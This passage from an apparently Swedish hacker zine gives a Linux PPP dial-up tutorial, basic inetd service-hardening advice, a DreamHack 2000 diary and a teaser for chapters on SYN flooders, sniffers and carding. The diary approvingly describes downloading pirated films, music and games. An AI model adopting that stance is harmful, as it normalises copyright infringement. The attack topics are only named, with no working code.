Startar editorn vi med namnet på den fil du vill skapa dvs net-connect. När programmet
|
||
startas står du i kommandoläge. Tryck då <i> för att hamna i inskrivningsläge. Skriv in:
|
||
# ! /bin/sh
|
||
/usr/sbin/chat -v -t 60 -f /etc/ppp/net-chat
|
||
Avsluta vi med kommandot <esc : wq> (Tryck på esc-tangenten, därefter på :-tangenten
|
||
och skriv wq vid :-tecknet längst ner på sidan). Då sparas filen och vi avslutas. Skulle du
|
||
skriva fel, kan du avsluta med <esc : q!> Då avslutas programmet utan att något sparas.
|
||
Ok - då har du skapat en fil som heter net-connect. I den filen har du talat om att programmet
|
||
chat pekar mot filen net-chat som du snart skall skapa. Chat-scriptet startas med
|
||
argumenten -v = visar hur uppkopplingen går direkt på skärmen, -t = tidsangivelse som anger
|
||
hur länge programmet skall vänta innan det avslutas om uppkopplingen skulle misslyckas,
|
||
-f = talar om för programmet chat namnet på den fil som skall användas vid uppkopplingen,
|
||
i det här fallet, filen net-chat. Se till att filen är läsbar och exekverbar av alla som kan starta
|
||
pppd.
|
||
|
||
Skriv:
|
||
# chmod 500 /etc/ppp/net-connect
|
||
# chown root:root /etc/ppp/net-connect
|
||
Då skall du skapa en fil som heter net-chat som automatiskt sköter inloggningen till Swipnet.
|
||
Starta vi och skriv in:
|
||
TIMEOUT 50
|
||
ABORT '\nBUSY\r'
|
||
ABORT '\nNO ANSWER\r'
|
||
ABORT '\nRINGING\r\n\r\n\RINGING\r'
|
||
'' \rAT&C1&D2Q0V1X4 // obs '' = 2 st apostrofer utan mellanslag
|
||
'OK-+++\c-OK' ATH0 // obs 0 = siffran
|
||
OK 'ATDTxxxxxx' // xxxxx = ditt telefonnummer till Tele2
|
||
CONNECT ''
|
||
name: s-xxxxxx // Här skriver du in ditt inloggningsnamn
|
||
word: xxxxxxxx // Här skriver du in ditt lösenord
|
||
net> PPP // obs - tabavstånd mellan net> och PPP
|
||
__________________________________________________________________________
|
||
Viktigt att du skriver exakt som det står här ovan. Slarva inte här - då får du problem senare
|
||
t.ex att modemet kopplar ner utan förvarning.
|
||
__________________________________________________________________________
|
||
Spara filen. Nu skall det mesta vara klart för att du skall kunna koppla upp dig mot swipnet.
|
||
Först skall dock rättigheterna till filen ändras för att den som skall använda pppd, skall ha
|
||
tillgång till filen.
|
||
# chown root:root /etc/ppp/net-chat
|
||
# chmod 600 /etc/ppp/net-chat
|
||
|
||
En detalj återstår innan du kan testa uppkopplingen. Du är tvungen att ange en nameserver
|
||
och dess IP-nummer. Namn och nummer på servern har du fått från Tele2 när du köpte ditt
|
||
abonnemang.
|
||
Nästan längst ner på dessa uppgifter, ser du raden Namnserver 192.71.220.10 Detta IP-
|
||
nummer
|
||
skall du lägga till i en fil som heter resolv.conf som finns i katalogen /etc.
|
||
# cd /etc
|
||
# vi resolv.conf
|
||
nameserver 192.71.220.10
|
||
nameserver 130.244.127.161 // Ny namnserver hos Tele2
|
||
nameserver 130.244.127.169 // Ny namnserver hos Tele2
|
||
För er som har Telia som leverantör - ange istället ip-nummer till
|
||
10.0.0.1 och 10.0.0.2
|
||
Avsluta och spar filen. Nu är du redo att testa uppkopplingen. Skriv vid prompten:
|
||
# pppd
|
||
|
||
Skulle inte detta funka - testa:
|
||
# /usr/sbin/pppd
|
||
Nu skall modemet koppla upp och inloggningen till swipnet ske automatiskt.
|
||
Du kan hålla ögonen på modemet för att se att det kopplar upp på rätt sätt och att
|
||
det inte kopplar ner igen. Vänta en stund så att du är säker på att uppkopplingen har
|
||
lyckats och är stabil. Du kan nu testa din uppkoppling med ett program som heter ifconfig.
|
||
# /sbin/ifconfig
|
||
Du skall då få en lista på de uppkopplingar du har. Din ppp-uppkoppling syns som:
|
||
ppp0 Link encap:Point-to-Point Protocol
|
||
inet addr:192.71.220.24 P-t-P:192.71.220.10 Mask:255.255.0.0
|
||
UP POINTOPOINT RUNNING MTY:1500 Metric:1
|
||
RX packets:106519 errors:0 dropped:0 overruns:0
|
||
TX packets.111873 errors:0 dropped:0 overruns:0
|
||
Du ser nu att du är uppkopplad. Du kan också se vilken IP-adress din dator har
|
||
tilldelats vid inet addr:192.71.220.24 Om uppkopplingen inte fungerar, kan du gå
|
||
till /var/log/messages och läsa den filen för att se vad som eventuellt har gått fel.
|
||
Men om du har Linux Redhat och din Internet-leverantör är Tele2, skall det här fungera bra.
|
||
|
||
Ett annat sätt att kontrollera uppkopplingen, är att använda programmet ping.
|
||
#ping 192.71.220.10 // Detta är IP-numret till Swipnets namnserver
|
||
PING 192.71.220.10 (192.71.220.24) 56 data bytes
|
||
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=437.0 ms
|
||
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=421.4 ms
|
||
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=430.9 ms
|
||
^C #avsluta med ctrl+c
|
||
3 packets transmitted, 3 packets received, 0% packet loss
|
||
round-trip min/avg/max = 421.4/437.0/430.9 ms
|
||
För att avsluta - skriv ps vid prompten(som root). Du ser då de aktiva processerna.
|
||
Kolla in vilket pidnummer din pppd-process har och skriv sedan kill 345
|
||
eller det nummer som din pppd-process har. Då skall modemet koppla ner.
|
||
Varje program som körs eller är aktivt, har sitt eget pid-nummer. (Process Identification
|
||
Number). Om du någon gång får problem med att ett program hänger sig eller inte
|
||
avslutas, kan du manuellt "döda" programmet med kommandot kill.
|
||
kill -9 pidnr är ett annat sätt att "döda" förbindelsen om det vanliga kill inte skulle
|
||
koppla ner ditt modem.
|
||
|
||
En annan variant är att logga in på nästa virituella konsoll och därifrån "döda" programmet
|
||
om du tex fastnar "inuti" ett program och inte kan avsluta med kill-kommandot. Detta kan
|
||
hända när du kopplar upp dig och servern inte svarar på dina kommandon. Ett annat sätt
|
||
kan vara att helt enkelt slå av modemet och använda kill för att avsluta processen.
|
||
Med Redhat följer script som du kan använda för upp- och nerkoppling. Jag använder
|
||
själv ppp-off för att "stänga" min förbindelse till Internet. Sök efter ppp-off med
|
||
kommandot locate - det skall ligga i /usr/doc/ppp-2.2.0f/scripts/ om du har Redhat 5.0
|
||
Kopiera scriptet till tex din hemkatalog med kommandot
|
||
$ cp /usr/doc/ppp-2.2.0f/scripts/ppp-off /home/användare
|
||
Scriptet kan du sedan använda utan modifieringar för att koppla ner -
|
||
$ ppp-off
|
||
Modemet kopplar då ner förbindelsen.
|
||
Scriptet ppp-on kan du också använda efter modifieringar, men eftersom pppd som
|
||
kommando är lika lätt att använda, skippar jag själv ppp-on
|
||
|
||
Om du vill ge användare möjlighet att koppla upp sig mot Internet, bör du ge
|
||
dessa användare rättigheter att använda de olika scripten som beskrivits ovan.
|
||
Men tänk på att du inte "ger bort" läsrättigheter om du inte vill skylta med
|
||
lösenordet för alla övriga användare.
|
||
Jag är själv ensam användare på min Linux-burk så jag behöver inte detta
|
||
"skydd", men det är "säkrare" att använda uppkoppling som användare än
|
||
som root. Dessutom kan du stöta på problem när du använder epost-program
|
||
som tex Pine, då avsändaren kommer att bli root om du kör uppkoppling och
|
||
epost-program som root. Det finns säkert något sätt att ändra avsändare,
|
||
men jag har själv inte lyckats få reda på hur.Så därför har jag skapat en användare
|
||
som motsvarar mitt epost-namn, (bjorn.lindblom@xxxxx.se) och slingrar mig därmed
|
||
runt detta problem.
|
||
|
||
Jag har nu fått reda på hur man kan byta avsändare på e-posten i Pine.
|
||
Öppna .pinerc som du har i din hemkatalog - gå ner till Preferences och under
|
||
feature-list= , skriver du in allow-changing-from. Sedan vidare ner till customized-hdrs=
|
||
där du skriver in From: Det namn du vill se som avsändare tex From:Jag
|
||
och sedan Reply-To: användarnamn tex Reply-To: Jag. Detta gör att när du skickar
|
||
ett meddelande, kommer detta meddelande att ha som avsändare det namn du anger här.
|
||
|
||
Alltså:
|
||
|
||
1. Öppna .pinerc som du har i hemkatalogen, tex med
|
||
# vi .pinerc
|
||
2. Gå ner till preferences
|
||
3. Under feature-list - skriv in allow-changing-from
|
||
4. Gå till customized-headers= där du skriver in From:ditt-namn@xxxxx
|
||
och Reply-To:ditt-namn@xxxxx
|
||
Nu kommer Pine visa dessa rader i headern när du skickar epost och mottagaren kan trycka på
|
||
svara utan att bry sig om den adress han svarar till, och meddelandet kommer till den adress
|
||
du specificerat under Reply-To.
|
||
|
||
|
||
Du kan också testa din uppkoppling med läsaren lynx. Skriv då -
|
||
# lynx http://home1.swipnet.se/~w-13264/ppp.htm
|
||
Du skall då komma till den här filen i txt-format, om allt funkar som det ska.
|
||
Du kan också hämta hem Netscape för Linux på Netscapes hemsida -
|
||
Netscape och installera den efter de anvisningar som medföljer programmet.
|
||
Starta sedan xwindows och via term-fönstret kan du köra Netscape.
|
||
|
||
Sammanfattning:
|
||
|
||
1. # dmesg | grep -i ppp Kolla om kärnan stöder ppp
|
||
2. minicom Manuell uppkoppling mot ISP
|
||
3. /etc/ppp/options Uppkopplings-parametrar
|
||
4. /etc/ppp/net-connect Fil som chat använder vid uppkopplingen.
|
||
5. /etc/ppp/net-chat Inloggningsscript.
|
||
6. /etc/resolv.conf Namnserver med IP-nummer.
|
||
7. /sbin/ifconfig Kontroll av uppkoppling.
|
||
8. ping Kontroll av uppkoppling.
|
||
|
||
|
||
Om du har fler datorer och vill använda din Linux-burk som gateway mot Internet,
|
||
kan du kolla på min enkla beskrivning hur du använder Ip-Masquerade för att utnyttja
|
||
hela ditt lokala nät mot Internet.IP-Masquerade
|
||
Nu kanske det är dags att fixa din e-post oxå och jag visar här hur man använder
|
||
Fetchmail och Pine för detta.
|
||
Lycka till och lev lugnt!
|
||
|
||
|
||
Nätverkstjänster
|
||
|
||
Vilka nätverkstjänster som finns tillgängliga beror givetvis i första hand på vilka du har
|
||
installerat. I andra hand är det demonen inetd som bestämmer vad som ska finnas tillgängligt.
|
||
En demon är ett program som hela tiden ligger i bakgrunden och utför en del grejor på
|
||
kommando, inetd startar t.ex. upp ftp-servern när någon eller något försöker komma åt port
|
||
21. Säkerhetsmässigt ska du ha så få servrar tillgängliga som möjligt: ju fler dörrar desto
|
||
större chans att någon bryts upp.
|
||
|
||
Säkerheten är någonting som du måste tänka på hela tiden. Det är inget lätt ämne, varken i
|
||
Linux eller i något annat system. Problemet är också att om du väljer ett system som är enkelt
|
||
att konfigurera säkerhet på, är risken stor att du blir lurad av falsk säkerhet. Vissa system är
|
||
dessutom mer utprovade än andra. Sedan måste du givetvis se till att ha program utan
|
||
säkerhetshål.
|
||
|
||
Varje gång du upprättar en förbindelse mot någon server, t.ex. en teleserver, kontaktar du en
|
||
speciell port. När servern märker att du försöker nå port 23 kommer den, lite förenklat, att
|
||
vidarebefordra dig till telnetservern. I detta fall är servern ett program. (en demon).
|
||
|
||
Inetd konfigureras i filen /etc/inetd.conf. Konfigurationsfilen är ganska lätt att ändra i;
|
||
Titta bara på hur de andra programmen är konfigurerade.
|
||
|
||
|
||
# cat /etc/inetd.conf | grep telnet
|
||
telnet stream tcp nowait root /usr/sbin/in.telnetd
|
||
# cat /etc/services | grep telnet
|
||
telnet 23/tcp
|
||
|
||
(Du får lära dig mer om telnet och GREP kommandot senare i HM).
|
||
|
||
Första fältet anger vilken tjänst det handlar om; se /etc/services efter vilka tjänster som finns.
|
||
Att det står telnet innebär att resten av av raden gäller när någon försöker komma åt port 23.
|
||
Annars är det bara det sista fältet som är intressant, dvs sökvägen till programmet inetd skall
|
||
starta. Titta igenom /etc/inetd.conf och kommentera ut allt du inte behöver. Ta sedan reda på
|
||
demonens PID-nummer och starta om den med kill –SIGHUP <PID>.
|
||
|
||
Du kan prova kommandot netstat om du vill se vilka tjänster som är aktiva.
|
||
|
||
Ok, ni som inte har förstått ett stouft, vänta bara. Jag kommer lära er detta så småningom i
|
||
nästa nummer eller så, sedan får du gå tillbaka och kolla igen. Jag hade som en liten
|
||
”uppgift” av ett flertal läsare som ville ha lite mer ”avancerad text”. Detta är inte särskiljt
|
||
avancerat. ;-). Men det uppfyller nog de flestas krav. För er som har börjat med Linux och
|
||
kan grunderna.
|
||
|
||
Det ingår många olika tjänster, här är ett urval:
|
||
|
||
FTP – File Transfer Protocol, väldigt vanligt på Internet. I detta fall handlar det om en
|
||
FTP-server. Kolla om du har en FTP igång genom att köra ftp 127.0.0.1 . Det är en
|
||
potentiell säkerhetsrisk och om du inte behöver en ftp-server anser jag att du bör aktivera
|
||
på något sätt, såsom att kommentera ftp-raden i inetd-konfigurationfil. (Gör så att den
|
||
ignoreras av systemet). Om du behöver en ftp-server är det viktigt att den konfigureras rätt,
|
||
håll även ett öga på uppdateringar om någon säkerhetsbugg skulle upptäckas.
|
||
|
||
TELNET – Telnet används om man vill logga in på en annan dator, en telnet-server är
|
||
således ett program som låter någon annan logga in på din dator genom telnet.
|
||
Du bör inte gärna använda telnet, utan använd i stället Secure SHell. (SSH), som använder
|
||
stark kryptering. Utan kryptering är det möjligt för folk att snappa upp inloggningsnamn
|
||
och lösenord eftersom dessa skickas i klartext ut över Internet. (Mer om det i nästa bok).
|
||
En del Internetleverantörer låter dig telnetta till deras datorer och använda dem.
|
||
Telnet används alltså om man vill logga in på en annan dator via nätverk.
|
||
Fungerar på samma sätt som när du loggar in på din egen.
|
||
|
||
FINGER – Finger är en slags föregångare till personliga hemsidor. Man körde
|
||
Finger kalle@datornamn för att få se kalles personliga .plan-fil. Även finger är ett
|
||
potentiellt säkerhetshål. Prova att köra finger på dig själv på din egen dator,
|
||
finger ditt_namn@localhost.
|
||
|
||
SMTP – Smtp används för att transportera E-mail, det finns SMTP-servrar till Linux.
|
||
Sendmail, qmail och smail är nog de vanligaste. Med en sådan kan du sätta upp en
|
||
mailserver. En smtp-server kan vara väldigt svår att konfigurera; det är dessutom väldigt
|
||
osäkert om det inte görs ordentligt. Qmail är förmodligen den enklaste och snabbaste
|
||
SMTP-servern. Sendmail är känt för sina många buggar och bakdörrar.
|
||
|
||
|
||
Kapitel 7: Dreamhack 2000
|
||
|
||
Den 30:e November år 2000, anlände icecoder och RobbTheJobb till DreamHack,
|
||
Nordens största demoparty.
|
||
|
||
DreamHack är ett så kallat Demo Party som äger rum i Borlänge varje år.
|
||
Det startades år 1997 och har hållit på sen dess.
|
||
Vad är då detta??
|
||
Svar; 4000 personer, cirka 500 (fler`?) med datorer, uppkopplade i nätverk.
|
||
Ungdomar från hela världen samlas i Kupolens arena och tävlar i spel, design, musik och
|
||
programmering. Hela Jolt fabriken köptes slut. Överallt fanns där backar.
|
||
Dundrande musik överallt. Folk som försöker överrösta varrandras musikanläggningar,
|
||
alla kopplade till varsina PCs.
|
||
|
||
DAG 1: onsdag
|
||
|
||
Vi tog ledigt redan på Onsdagen i och med att vi då hade friluftsdag i skolan, vi behövde ju
|
||
tid att packa! ;-). Checklistan innehöll bland annat:
|
||
|
||
? Öronproppar
|
||
? Papper & Penna
|
||
? Dator (ehe..)
|
||
? CD/CD-R(W) skivor
|
||
? Högtalare
|
||
? Julgransbelysning
|
||
? Toapapper
|
||
? Handduk
|
||
? Tandborste/Tandkräm
|
||
? Hårvax
|
||
? Pengar
|
||
? Mobiltelefon
|
||
? Kamera
|
||
? Batterier
|
||
? Hörlurar
|
||
? Sovsäck
|
||
? Liggunderlag
|
||
? En massa sladdar
|
||
|
||
Med mer.. Väskorna blev överfyllda. (Två st. + en stor madrass).
|
||
Vi kunde inte hålla oss utan plockade upp datorerna och skapade ett litet LAN.
|
||
Vi satt och programmerade dator-skydd hela natten. Om ej rätt lösenord skrevs in startades
|
||
Tre kopior av programmet, sedan började skärmen blinka rött och gult och ge ifrån sig ett
|
||
Pip-pip-pip ljud, på skärmen stod då också ”DONT U FUCKING TOUCH ME!”.
|
||
Detta om detta, det fungerade bra iaf.
|
||
Sedan sov vi.. (Inte så intressant dag kanske? Spara checklistan för framtida behov ;-) ).
|
||
|
||
|
||
DAG 2: torsdag
|
||
|
||
Vi gav oss iväg i farsans bil klockan 07:30.
|
||
Stressigt som fan. Kontrollera att allt är med.. Bla bla bla, und so weiter..
|
||
RobbTheJobb sov mest hela resan dit, (1.5 timma ungeffär), jag försökte vila mig lite,
|
||
natten innan kunde jag inte sova och låg därmed vaken fram till klockan 5 på morgonen.
|
||
|
||
När vi kom fram blev vi lite trötta av att se den stillastående kö som bildats utanför dörrarna.
|
||
Folk ville in och byta ut sin biljett mot det gröna plastband man fick runt handleden för att
|
||
smidigt ta sid in och ut. (Exakt ett sådant band man får bära när man har permission från
|
||
sjukhuset, men med en klatchig DreamHack design ;-) ).
|
||
|
||
När vi köat klart kunde vi börja bära in vår utrustning.
|
||
DH hade någon vecka tidigare tagit bort ”Seat-map” och vi visste därför inte vart vi skulle
|
||
sitta, (det var vi inte ensama om). Vi gick till informationen och hittade snart våra platser.
|
||
Kånkade iväg med väskorna, där! Rad F, plats 102.. eller nåt?, japp, där låg våra namnskyltar
|
||
fint uppslängda på spånskivsbordet.
|
||
|
||
- Men va fan nu då!? Man har ju bara 1.2 meters bredd att sitta på ju! Jag kommer inte få
|
||
plats med datorn! Och killen mittemot hade parkerat sin skärm åt helvete för långt in, jag
|
||
Bad honom flytta den lite mer bakåt, men den var ju redan så indragen det gick.. Arg!
|
||
Till slut lyckades jag snirkla mig in, med knapp marginal. Jag häll mig innanför sträcken,
|
||
men visst tusan var tangentbordet halvt svävande i luften.
|
||
|
||
Till slut kom vi till rätta. Datorerna funkade fint.
|
||
Grannen däremot, hur fan kan man komma dit utan operativsystem i burken?
|
||
Det första han gjorde var att köra installationen för Windows2000,, när han var
|
||
klar möttes han av den närmast klassiska BlueScreen of Death.
|
||
Toppen! Ominstallera igen.. Tre timmar till spillo ;-).
|
||
|
||
Vad gällde ljudkvaliten var vi kungar åtminstone den första dagen, tills de två mystiska
|
||
Got-killarna kom och smällde upp sina hemmabyggda baslådor. Usch! Mellow i överflöd.
|
||
|
||
Vi höjde volymen, de höjde volymen, vi höjde mer, de höjde mest.
|
||
Dock kunde de inte överträffa min öronskärande diskans. Fyra små högtalare riggade
|
||
ovanpå burken.
|
||
”-Fan! Vänta bara tills nästa år.. jag SA ju att jag skulle tagit med mig anläggningen!” >=)
|
||
|
||
Efter att vi gjort oss hemmastadda vid borden gick vi till en av restaurangerna vid
|
||
köpcentrat på undervåningen. Pizza! Men fan va spänd man var, stressad, sugen på att
|
||
springa tillbaka till datorerna, efter två tuggor kändes det som att man skulle spy.
|
||
Weird feelings. Vi tog med oss pizzorna i en varsin kartong och återgick till datorerna.
|
||
Nu hade även vi införskaffat oss en back med Jolt.
|
||
|
||
Halsbränna efter fem Jolt.
|
||
Nu började vi få igång nätverket.
|
||
- Vart fan är drivrutinerna för nätverkskortet!?
|
||
- Vaddå? Har du inte samma som jag?
|
||
- Jag trodde också det.
|
||
- Testa; C:\Windows\System , Testa D:\WIN98 …
|
||
- Hmm,, hittar inte..
|
||
** Reboot **
|
||
Disketter hit och dit, kablar hit och dit. Ett virrvarr av sladdar och julpynt.
|
||
|
||
Sedan kom mardrömmarna, sladdar var fel kopplade, de drogs brutalt och obetänksamt ut av
|
||
crew medlemmarna,
|
||
- ”ALLA SKARVAR SKA SITTA I SPRAYADE GRENKONTAKTER! INTE
|
||
SERIELÄNKADE!”
|
||
Fy fan, det tog minst fem timmar innan allt var i ordning. Till sist hittade även jag ett uttag för
|
||
min skarvsladd. Vid kvällningen släcktes lysena i taket och alla ljublade.
|
||
Hurra! Lite stämning! Grymmt..
|
||
Folk låg och sov här och där hela dagarna, mest folk var det på golvet mellan 02:00 och
|
||
12:00. Men även vid tider som 16:00 kunde man hitta ungdomar nedkrupna i sovsäckar
|
||
överallt runtomkring borden och bakom toaletterna.
|
||
|
||
Jag gick själv och lade mig vid 03;00 tiden. RobbTheJobb satt kvar vid datorn och tankade
|
||
hem warez mm..
|
||
|
||
Dag 3: torsdag
|
||
|
||
Toppendag! Internet hade nu kommit i bruk. Vi kunde komma ut på IRC! Jiiehaa!!
|
||
Nu var klockan cirka 13:00 och alla hade kommit på plats med sina datorer, lampor,
|
||
anläggningar, fläktar mm.. Då var DH människorna så smarta att de tände lamporna i
|
||
taket för att media skulle kunna filma. Det var ju ändå på tiden att vakna!?
|
||
Ok, så vad hände? Strömmen gick! I HELA KUPOLEN ARENAN.
|
||
Dessutom lamslogs McDonalds, en kläd- och en leksaksbutik.
|
||
Det blev tyst i två sekunder, sedan bröt de 2000 besökarna ut i ett ofantligt ljubel som
|
||
översteg det tidigare då lamporna släcktes. Fy fan! Detta kommer ta tid konstaterade vi alla,
|
||
folk tog på sig sina jackor, började röra sig utåt. Kamerablixtar flashade överallt.
|
||
(Se foton på www.dh.haxerz.com)
|
||
På vägen ned för trappan råkade jag höra en förvirrad 17 åring säga tyst till sin kompis,
|
||
”Varför är alla på väg ut??”. =)
|
||
Gissa.. Ok, så vi gick till Hemköp. Sedan till köpcentrum. Tyvärr! Fel ställe, vi skulle ha gått
|
||
till McDonalds där det nu serverades gratisburgare. ?.
|
||
|
||
Efter någon timme gick vi tillbaka och satte oss. Strömen var fortfarande frånvarande.
|
||
Vår granne stod lutad över skärmen, liksom när vi lämnade honom två timmar tidigare.
|
||
Crewet letade sig igenom virrvarret av sladdar. Vi såg en elektriker i köpcentrumet, han
|
||
stod på en stege och skruvade med en massa kablar uppe i taket.
|
||
Fan, det är tur att de kan kalla in elektriker på mindre än 5 minuter.
|
||
|
||
Strömen gick minst tre gånger till den dagen. På DH-monitorn framme vid scenen kunde man
|
||
då och då läsa meddelanden som lovade mer ström snart. Man skulle sätta igång brum brum
|
||
maskiner i källaren. Wow! Dåså!.
|
||
|
||
|
||
|
||
Jag lät datorn stå och idle:a över natten, laddade hem warez och stödje mina IRC kanaler ;-).
|
||
För första gången såg jag också hur endast tid kan löna sig. Morgonen därpå hade jag fått
|
||
OP i både #pr0n, #crackers, #lamers och #Secure. ?.
|
||
|
||
Dag 4: fredag
|
||
|
||
Idag upptäckte jag charmen med VCR, AVI och MPEG. Vi laddade hem filmer som;
|
||
|
||
Shaft, Gladiator, Leon,
|
||
Gone in 60 secounds, StarTrek 6, Cruil Intention, Romeo Must die, 6:e Sinnet, Scary Movie,
|
||
Cayota Ugly, Ninja Scroll, Hackers, Never bin kissed, Roadtrip, Hollowman, Blairwitch
|
||
Project 2, Sleepy Hollow, Tigers Film, Xmen, Tekken, Matrix, Blue Streak, Boondok Saints
|
||
|
||
(Blairwitch Project 2 hade t.ex. inte ännu haft BIO premiär i Sverige.).
|
||
Tufft! Jag trodde inte att det var så lätt att få tag på bra filmer.
|
||
Tyvärr fick vi inte plats med vissa filmer på våra CD skivor. ?.
|
||
|
||
Dessutom laddade vi hem mängder av MP3:or och spel mm..
|
||
Helt underbart med delade hårddiskar!
|
||
|
||
|
||
Lördag rullade på som ingenting.. Vi gick till McDonalds och diverse andra ställen.
|
||
NM. =).
|
||
|
||
Prisutdelningar till de som vunnit demotävlingar.
|
||
(De deltagandes bidrag visades en/två dagar innan upp på den stora monitorn).
|
||
|
||
SENT PÅ LÖRDAG NATT Skulle jag plocka upp min gamla, gamla laptop ur väskan
|
||
och kom då åt ett par sladdar som satt slingrade runt en burk med Jolt cola.
|
||
Burken vickade, jolten rann ut på tangentbordet, musmattan, mögtalarväggarna, stolen,
|
||
byxorna, Laptop sladdarna och golvet. Det enda som gick sönder var dock tangentbordet.
|
||
Jag har aldrig hatat Jolt så mycket som just då. Tur som fan var att det inte rann ut på
|
||
grannens grejjer. Inte en droppe!, jag fick springa och hämta papper, byta byxor, torka av
|
||
stolen, sladdarna, högtalarna, väskan, bordet, krama ur musmattan, vicka på tangentbordet
|
||
och hälla ut colan. Torka upp den, springa och slänga burken och papprena, tvätta händerna,
|
||
gå tillbaka och konstatera att jag lika gärna kunde gå och lägga mig.
|
||
Tältet där de sålde hårdvara hade slut på tangentbord. Databutiken var stängd.
|
||
Dagen därpå, söndag, gick jag och skulle köpa ett nytt. Men, är inte butiken stängd på
|
||
söndag? Puh, de hade extraöppet under DreamHack.
|
||
|
||
- ”Detta är det enda vi har kvar, det kostar, men det är ju också det bästa dårå”,
|
||
sa butiksinnehavaren. Jo visst, 300:- för ett nytt KeyTronic tangentbord var väl ok..
|
||
Men 300 minus på grund av en burk med Jolt. ARGGG!!
|
||
|
||
Snyggt var det, jag skriver på det nu. Men jag får psykbryte! Tangenterna sitter för brett
|
||
isär och det låter högt som fan när man knapprar på det. Pang! Pang! – där slog jag på
|
||
mellanslags tangenten, så löst som möjligt. Pang! Pang!
|
||
|
||
|
||
|
||
Dag 5: söndag
|
||
|
||
Jag vaknade vid 12, köpte nytt tangentbord, packade ihop datorn och prylarna.
|
||
Robb´s föräldrar hämtade oss vid 13:00 tiden. Fy fan va trött man blir.
|
||
ÄVEN fast jag hade lyckats sovit mellan klockan 05:00 och 12:00 varje dag.
|
||
|
||
Det var svettigt, man luktade helvete. Kläderna var inpyrda med koldioxid och Jolt.
|
||
Min madrass hade råkat lega bredvid en sopsäck där man kastade tomburkar. Såna där
|
||
Joltisar med lite granna kvar i botten på. En sjö av läsk hade samlat sig vid min madrass som
|
||
såg ut att ha blivit nedblött av någon som ”kissar i sängen”. Det luktade inte särskiljt gott.
|
||
|
||
Vi åkte hem, jag var pissnödig hela vägen. Det var otroligt skönt att komma hem.
|
||
Jobbigt som tusan var det.. Men, var det roligt?? Jag vet faktist inte riktigt, men en sak
|
||
är säker.. Vi åker dit nästa år igen! Då med lite större och starkare och tuffare utrustning!
|
||
|
||
DreamHack ska förmodligen då byta lokaler. Arenan ska byggas om till utbildningscenter.
|
||
(kanske). Så vi får se vart det blir då. Kom dit och träffa oss då! :-).
|
||
|
||
// DH Report 2k – icecoder.
|
||
|
||
|
||
Här hade jag tänkt skriva lite om NT Hacking. Tacka mig för att jag lät bli!
|
||
Jag har tyvärr haft för lite tid över för Hackers Mentor på senaste tiden, men till sist kom den ut
|
||
till er. Det blir mer skojj i nästa bok. Ha det bra till dess!
|
||
|
||
// icecoder
|
||
|
||
|
||
Hitta de senaste uppdateringarna och böckerna på: www.insecurefoundation.cjb.net
|
||
|
||
För frågor och svar, maila:
|
||
ounder@lords.com .
|
||
|
||
|
||
Hackers Mentor © 1998-2004 – Insecure Foundation.
|
||
Hitta författaren samt ”teamet” på #BIOS @ Dalnet – IRC.
|
||
|
||
|
||
I nästa nummer:
|
||
|
||
Kapitel 1: Introduktion och Inspiration.
|
||
Kapitel 2: Fortsatt C++ programmering.
|
||
Kapitel 3: Mer kommandon i Unix.
|
||
Kapitel 4: X och Shell programmering i Unix.
|
||
Kapitel 5: SYN Flooders och Sniffers
|
||
Kapitel 6: Tankar och idéer.
|
||
Kapitel 7: Intressanta länkar
|
||
Kapitel 8: Insändare och Greetings. (Prat från IRC).
|
||
Kapitel 9: Allt om Carding.
|
||
|